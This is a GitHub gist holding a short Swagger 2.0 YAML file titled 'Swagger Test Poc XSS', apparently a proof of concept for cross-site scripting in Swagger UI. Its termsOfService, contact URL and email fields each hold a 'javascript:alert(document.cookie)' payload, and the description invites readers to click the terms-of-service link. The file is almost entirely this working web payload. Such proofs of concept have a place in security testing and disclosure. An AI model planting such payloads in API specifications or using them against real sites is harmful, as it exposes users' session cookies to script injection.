Skip to content

Instantly share code, notes, and snippets.

@pikpikcu
Created February 23, 2021 11:22
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pikpikcu/f7a2f89f166f8a66f05af0a1e82cd012 to your computer and use it in GitHub Desktop.
Save pikpikcu/f7a2f89f166f8a66f05af0a1e82cd012 to your computer and use it in GitHub Desktop.
swagger: "2.0",
info:
title: "Swagger Test Poc XSS",
description: "Please to click Terms of service"
termsOfService: "javascript:alert(document.cookie)"
contact:
name: "API Support",
url: "javascript:alert(document.cookie)",
email: "javascript:alert(document.cookie)"
version: "1.0.1"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment